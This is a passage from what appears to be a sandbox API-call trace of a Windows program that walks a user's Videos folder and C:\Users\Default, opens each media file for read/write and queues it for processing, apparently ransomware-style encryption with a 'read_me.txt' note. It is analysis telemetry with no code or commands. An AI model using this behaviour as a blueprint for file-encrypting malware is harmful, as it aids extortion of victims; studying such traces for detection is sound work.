cFileName="-C23TvIMRZ.flv", cAlternateFileName="-C23TV~1.FLV")) returned 1 [0078.828] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\-C23TvIMRZ.flv") returned 69 [0078.828] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\-C23TvIMRZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\-c23tvimrz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa88 [0078.828] QueueUserWorkItem (Function=0x404e00, Context=0xa88, Flags=0x0) returned 1 [0078.828] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2f4130, ftCreationTime.dwHighDateTime=0x1d4c890, ftLastAccessTime.dwLowDateTime=0x914e77f0, ftLastAccessTime.dwHighDateTime=0x1d4d345, ftLastWriteTime.dwLowDateTime=0x914e77f0, ftLastWriteTime.dwHighDateTime=0x1d4d345, nFileSizeHigh=0x0, nFileSizeLow=0x16dd9, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="17Wk7vc-.mp4", cAlternateFileName="")) returned 1 [0078.829] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\17Wk7vc-.mp4") returned 67 [0078.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\17Wk7vc-.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\17wk7vc-.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8c [0078.829] QueueUserWorkItem (Function=0x404e00, Context=0xa8c, Flags=0x0) returned 1 [0078.829] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4f4370, ftCreationTime.dwHighDateTime=0x1d4c615, ftLastAccessTime.dwLowDateTime=0x3d285070, ftLastAccessTime.dwHighDateTime=0x1d4cdf9, ftLastWriteTime.dwLowDateTime=0x3d285070, ftLastWriteTime.dwHighDateTime=0x1d4cdf9, nFileSizeHigh=0x0, nFileSizeLow=0x101dc, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="4DxJvW6.mkv", cAlternateFileName="")) returned 1 [0078.829] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\4DxJvW6.mkv") returned 66 [0078.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\4DxJvW6.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\4dxjvw6.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa90 [0078.829] QueueUserWorkItem (Function=0x404e00, Context=0xa90, Flags=0x0) returned 1 [0078.829] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9da7fb0, ftCreationTime.dwHighDateTime=0x1d4c77c, ftLastAccessTime.dwLowDateTime=0x264d3b80, ftLastAccessTime.dwHighDateTime=0x1d4cec2, ftLastWriteTime.dwLowDateTime=0x264d3b80, ftLastWriteTime.dwHighDateTime=0x1d4cec2, nFileSizeHigh=0x0, nFileSizeLow=0x3e07, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="aWtkwEXXxrThK.avi", cAlternateFileName="AWTKWE~1.AVI")) returned 1 [0078.829] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\aWtkwEXXxrThK.avi") returned 72 [0078.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\aWtkwEXXxrThK.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\awtkwexxxrthk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa94 [0078.829] QueueUserWorkItem (Function=0x404e00, Context=0xa94, Flags=0x0) returned 1 [0078.829] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6970abc0, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0x91812d0, ftLastAccessTime.dwHighDateTime=0x1d4d27b, ftLastWriteTime.dwLowDateTime=0x91812d0, ftLastWriteTime.dwHighDateTime=0x1d4d27b, nFileSizeHigh=0x0, nFileSizeLow=0xbe84, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="cYJgcuiJxjitrfD.mkv", cAlternateFileName="CYJGCU~1.MKV")) returned 1 [0078.829] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\cYJgcuiJxjitrfD.mkv") returned 74 [0078.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\cYJgcuiJxjitrfD.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\cyjgcuijxjitrfd.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa98 [0078.829] QueueUserWorkItem (Function=0x404e00, Context=0xa98, Flags=0x0) returned 1 [0078.829] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddbaabf0, ftCreationTime.dwHighDateTime=0x1d4cd3b, ftLastAccessTime.dwLowDateTime=0x69bec730, ftLastAccessTime.dwHighDateTime=0x1d4d101, ftLastWriteTime.dwLowDateTime=0x69bec730, ftLastWriteTime.dwHighDateTime=0x1d4d101, nFileSizeHigh=0x0, nFileSizeLow=0x15292, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="IV7ig-RVdIFHkI.swf", cAlternateFileName="IV7IG-~1.SWF")) returned 1 [0078.829] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\IV7ig-RVdIFHkI.swf") returned 73 [0078.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\IV7ig-RVdIFHkI.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\iv7ig-rvdifhki.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa9c [0078.830] QueueUserWorkItem (Function=0x404e00, Context=0xa9c, Flags=0x0) returned 1 [0078.830] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5684c760, ftCreationTime.dwHighDateTime=0x1d4d4f7, ftLastAccessTime.dwLowDateTime=0xd6b92760, ftLastAccessTime.dwHighDateTime=0x1d4ca06, ftLastWriteTime.dwLowDateTime=0xd6b92760, ftLastWriteTime.dwHighDateTime=0x1d4ca06, nFileSizeHigh=0x0, nFileSizeLow=0x12ee8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="L6VKte1M1ORqp0Nwdu.swf", cAlternateFileName="L6VKTE~1.SWF")) returned 1 [0078.830] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\L6VKte1M1ORqp0Nwdu.swf") returned 77 [0078.830] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\L6VKte1M1ORqp0Nwdu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\l6vkte1m1orqp0nwdu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa0 [0078.830] QueueUserWorkItem (Function=0x404e00, Context=0xaa0, Flags=0x0) returned 1 [0078.830] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e6fae20, ftCreationTime.dwHighDateTime=0x1d4c8ae, ftLastAccessTime.dwLowDateTime=0x12533e40, ftLastAccessTime.dwHighDateTime=0x1d4c97c, ftLastWriteTime.dwLowDateTime=0x12533e40, ftLastWriteTime.dwHighDateTime=0x1d4c97c, nFileSizeHigh=0x0, nFileSizeLow=0x97a1, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="LML4TqPpMnA2xLxzhc.mkv", cAlternateFileName="LML4TQ~1.MKV")) returned 1 [0078.830] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\LML4TqPpMnA2xLxzhc.mkv") returned 77 [0078.830] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\LML4TqPpMnA2xLxzhc.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\lml4tqppmna2xlxzhc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa4 [0078.830] QueueUserWorkItem (Function=0x404e00, Context=0xaa4, Flags=0x0) returned 1 [0078.830] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f700850, ftCreationTime.dwHighDateTime=0x1d4d069, ftLastAccessTime.dwLowDateTime=0xb0ebfe20, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0xb0ebfe20, ftLastWriteTime.dwHighDateTime=0x1d4cba7, nFileSizeHigh=0x0, nFileSizeLow=0x107d2, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="pdzmMLIrTj.avi", cAlternateFileName="PDZMML~1.AVI")) returned 1 [0078.830] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\pdzmMLIrTj.avi") returned 69 [0078.830] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\pdzmMLIrTj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\pdzmmlirtj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa8 [0078.830] QueueUserWorkItem (Function=0x404e00, Context=0xaa8, Flags=0x0) returned 1 [0078.830] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae20310, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ae20310, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ae20310, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.830] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\read_me.txt") returned 66 [0078.830] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaac [0078.830] QueueUserWorkItem (Function=0x404e00, Context=0xaac, Flags=0x0) returned 1 [0078.831] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbd7fe0, ftCreationTime.dwHighDateTime=0x1d4c61a, ftLastAccessTime.dwLowDateTime=0x5a3c960, ftLastAccessTime.dwHighDateTime=0x1d4d117, ftLastWriteTime.dwLowDateTime=0x5a3c960, ftLastWriteTime.dwHighDateTime=0x1d4d117, nFileSizeHigh=0x0, nFileSizeLow=0xd081, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Whl95m9ow_W-3E3.mp4", cAlternateFileName="WHL95M~1.MP4")) returned 1 [0078.831] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\Whl95m9ow_W-3E3.mp4") returned 74 [0078.831] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\Whl95m9ow_W-3E3.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\whl95m9ow_w-3e3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab0 [0078.831] QueueUserWorkItem (Function=0x404e00, Context=0xab0, Flags=0x0) returned 1 [0078.831] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xada3c270, ftCreationTime.dwHighDateTime=0x1d4ce90, ftLastAccessTime.dwLowDateTime=0x44b2b880, ftLastAccessTime.dwHighDateTime=0x1d4c6c4, ftLastWriteTime.dwLowDateTime=0x44b2b880, ftLastWriteTime.dwHighDateTime=0x1d4c6c4, nFileSizeHigh=0x0, nFileSizeLow=0x16183, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="yMvXxsiNjE.mp4", cAlternateFileName="YMVXXS~1.MP4")) returned 1 [0078.831] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\yMvXxsiNjE.mp4") returned 69 [0078.831] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\yMvXxsiNjE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\t1lmrrqf1uq49\\ymvxxsinje.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab4 [0078.831] QueueUserWorkItem (Function=0x404e00, Context=0xab4, Flags=0x0) returned 1 [0078.831] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xada3c270, ftCreationTime.dwHighDateTime=0x1d4ce90, ftLastAccessTime.dwLowDateTime=0x44b2b880, ftLastAccessTime.dwHighDateTime=0x1d4c6c4, ftLastWriteTime.dwLowDateTime=0x44b2b880, ftLastWriteTime.dwHighDateTime=0x1d4c6c4, nFileSizeHigh=0x0, nFileSizeLow=0x16183, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ymvxxsinje.mp4", cAlternateFileName="YMVXXS~1.MP4")) returned 0 [0078.831] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0078.831] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\read_me.txt") returned 66 [0078.831] GetProcessHeap () returned 0x540000 [0078.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0078.831] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 75 [0078.831] GetProcessHeap () returned 0x540000 [0078.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44100b0 | out: hHeap=0x540000) returned 1 [0078.831] GetProcessHeap () returned 0x540000 [0078.831] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44100b0 [0078.831] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\*") returned 22 [0078.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b18c2b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\.") returned 22 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b18c2b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\..") returned 23 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="AppData", cAlternateFileName="")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData") returned 28 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data") returned 37 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aede9f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aede9f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Contacts", cAlternateFileName="")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts") returned 29 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Cookies", cAlternateFileName="")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies") returned 28 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Desktop", cAlternateFileName="")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop") returned 28 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents") returned 30 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads") returned 30 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0078.832] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites") returned 30 [0078.832] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Links", cAlternateFileName="")) returned 1 [0078.833] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links") returned 26 [0078.833] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0078.833] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings") returned 35 [0078.833] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, 